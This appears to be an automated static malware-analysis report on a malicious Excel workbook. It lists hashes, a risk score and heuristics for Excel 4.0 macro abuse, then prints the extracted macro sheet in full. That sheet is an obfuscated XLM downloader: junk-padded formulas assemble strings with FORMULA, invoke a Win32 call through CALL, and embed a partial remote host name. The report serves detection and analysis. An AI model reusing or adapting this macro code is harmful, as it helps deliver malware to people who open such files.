Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d70d381d891d68d4…

MALICIOUS

Office (OOXML)

82.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-01
MD5: 8bc8d00f7b98991d3608b42962a62d2c SHA-1: b5fcdff3c8a893b8d21203c7135626a33e543519 SHA-256: d70d381d891d68d43169edec232de80ba00dbdd2d2cadf41e03380f0c2c83274
182 Risk Score

Heuristics 4

  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, CALL, HALT, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 19705 bytes
SHA-256: b909ba27454bfd693916d0e70b121960dc6ef7f58637eed9001c6dbd579729fd
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A3:AW100"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="44" width="4.5703125" style="3"/><col min="45" max="49" width="4.5703125" style="3" hidden="1" customWidth="1"/><col min="50" max="16384" width="4.5703125" style="3"/></cols><sheetData><row r="3" spans="45:49" x14ac:dyDescent="0.25"><c r="AS3" s="4"/><c r="AT3" s="4"/><c r="AU3" s="4"/><c r="AV3" s="4"/><c r="AW3" s="4"/></row><row r="4" spans="45:49" x14ac:dyDescent="0.25"><c r="AS4" s="4"/><c r="AT4" s="4"/><c r="AU4" s="4"/><c r="AV4" s="4"/><c r="AW4" s="4"/></row><row r="5" spans="45:49" x14ac:dyDescent="0.25"><c r="AS5" s="4"/><c r="AT5" s="4"/><c r="AU5" s="4"/><c r="AV5" s="4"/><c r="AW5" s="4"/></row><row r="6" spans="45:49" x14ac:dyDescent="0.25"><c r="AS6" s="4"/><c r="AT6" s="4"/><c r="AU6" s="4"/><c r="AV6" s="4"/><c r="AW6" s="5" t="b"><f>RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)='Doc1'!AJ5()</f><v>1</v></c></row><row r="7" spans="45:49" x14ac:dyDescent="0.25"><c r="AS7" s="4"/><c r="AT7" s="4"/><c r="AU7" s="4"/><c r="AV7" s="4"/><c r="AW7" s="4"/></row><row r="8" spans="45:49" x14ac:dyDescent="0.25"><c r="AS8" s="4"/><c r="AT8" s="4"/><c r="AU8" s="4"/><c r="AV8" s="4"/><c r="AW8" s="5"/></row><row r="9" spans="45:49" x14ac:dyDescent="0.25"><c r="AS9" s="4"/><c r="AT9" s="4"/><c r="AU9" s="4"/><c r="AV9" s="4"/><c r="AW9" s="4"/></row><row r="10" spans="45:49" x14ac:dyDescent="0.25"><c r="AS10" s="4"/><c r="AT10" s="4"/><c r="AU10" s="4"/><c r="AV10" s="4"/><c r="AW10" s="4"/></row><row r="11" spans="45:49" x14ac:dyDescent="0.25"><c r="AS11" s="4" t="str"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v/></c><c r="AT11" s="4"/><c r="AU11" s="4"/><c r="AV11" s="4"/><c r="AW11" s="4"/></row><row r="12" spans="45:49" x14ac:dyDescent="0.25"><c r="AS12" s="4"/><c r="AT12" s="4"/><c r="AU12" s="4"/><c r="AV12" s="4"/><c r="AW12" s="4"/></row><row r="13" spans="45:49" x14ac:dyDescent="0.25"><c r="AS13" s="4"/><c r="AT13" s="4"/><c r="AU13" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!$AT$3&amp;'Doc4'!$AT$4&amp;'Doc4'!$AT$5&amp;'Doc4'!$AT$6&amp;'Doc4'!$AT$7&amp;'Doc4'!$AT$8,'Doc3'!$AQ$13)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV13" s="4"/><c r="AW13" s="4"/></row><row r="14" spans="45:49" x14ac:dyDescent="0.25"><c r="AS14" s="4"/><c r="AT14" s="4"/><c r="AU14" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AU3&amp;'Doc4'!AU4&amp;'Doc4'!AU5&amp;'Doc4'!AU6&amp;'Doc4'!AU7&amp;'Doc4'!AU8&amp;'Doc4'!AU9&amp;'Doc4'!AU10&amp;'Doc4'!AU11&amp;'Doc4'!AU12&amp;'Doc4'!AU13&amp;'Doc4'!AU14&amp;'Doc4'!AU15&amp;'Doc4'!AU16&amp;'Doc4'!AU17&amp;'Doc4'!AU18&amp;'Doc4'!AU19&amp;'Doc4'!AU20,'Doc3'!AQ14)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV14" s="4"/><c r="AW14" s="4"/></row><row r="15" spans="45:49" x14ac:dyDescent="0.25"><c r="AS15" s="4"/><c r="AT15" s="4"/><c r="AU15" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AV3&amp;'Doc4'!AV4&amp;'Doc4'!AV5,'Doc3'!AQ15)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV15" s="4"/><c r="AW15" s="4"/></row><row r="16" spans="45:49" x14ac:dyDescent="0.25"><c r="AS16" s="4"/><c r="AT16" s="4"/><c r="AU16" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc1'!A100&amp;'Doc2'!A102&amp;'Doc3'!A100&amp;'Doc4'!A100,'Doc3'!AQ16)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV16" s="4"/><c r="AW16" s="4"/></row><row r="17" spans="45:49" x14ac:dyDescent="0.25"><c r="AS17" s="4"/><c r="AT17" s="4"/><c r="AU17" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AW3&amp;'Doc4'!AW4&amp;'Doc4'!AW5&amp;'Doc4'!AW6&amp;'Doc4'!AW7&amp;'Doc4'!AW8&amp;'Doc4'!AW9,'Doc3'!AQ18)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV17" s="4"/><c r="AW17" s="4"/></row><row r="18" spans="45:49" x14ac:dyDescent="0.25"><c r="AS18" s="4"/><c r="AT18" s="4"/><c r="AU18" s="4" t="b"><f>""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AX3&amp;'Doc4'!AX4&amp;'Doc4'!AX5&amp;'Doc4'!AX6,'Doc3'!AQ19)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""=""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""&amp;""</f><v>0</v></c><c r="AV18" s="4"/><c r="AW18" s="4"/></row><row r="19" spans="45:49" x14ac:dyDescent="0.25"><c r="AS19" s="4"/><c r="AT19" s="4"/><c r="AU19" s="4"/><c r="AV19" s="4"/><c r="AW19" s="4"/></row><row r="20" spans="45:49" x14ac:dyDescent="0.25"><c r="AS20" s="4"/><c r="AT20" s="4"/><c r="AU20" s="4"/><c r="AV20" s="4"/><c r="AW20" s="4"/></row><row r="21" spans="45:49" x14ac:dyDescent="0.25"><c r="AS21" s="4"/><c r="AT21" s="4"/><c r="AU21" s="4"/><c r="AV21" s="4"/><c r="AW21" s="4"/></row><row r="22" spans="45:49" x14ac:dyDescent="0.25"><c r="AS22" s="4"/><c r="AT22" s="4"/><c r="AU22" s="4" t="b"><f>RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=CALL('Doc3'!$AQ$13,'Doc3'!$AQ$14,'Doc3'!$AQ$15,'Doc4'!AW13,'Doc3'!$AQ$16,'Doc1'!$A$106,'Doc4'!AW15,'Doc4'!AW16)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=AW6()</f><v>1</v></c><c r="AV22" s="4"/><c r="AW22" s="4"/></row><row r="23" spans="45:49" x14ac:dyDescent="0.25"><c r="AS23" s="4"/><c r="AT23" s="4"/><c r="AU23" s="4"/><c r="AV23" s="4"/><c r="AW23" s="4"/></row><row r="24" spans="45:49" x14ac:dyDescent="0.25"><c r="AS24" s="4"/><c r="AT24" s="4"/><c r="AU24" s="4"/><c r="AV24" s="4"/><c r="AW24" s="4"/></row><row r="25" spans="45:49" x14ac:dyDescent="0.25"><c r="AS25" s="4"/><c r="AT25" s="4"/><c r="AU25" s="4"/><c r="AV25" s="4"/><c r="AW25" s="4"/></row><row r="100" spans="1:1" x14ac:dyDescent="0.25"><c r="A100" s="6" t="str"><f>"mtk23gqakwj"&amp;"03bzds.xyz/gf."</f><v>mtk23gqakwj03bzds.xyz/gf.</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1419 bytes
SHA-256: d30d0bdbdc3063e69afc7d3c6401429aac87693165a049927be503c06d2c964c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
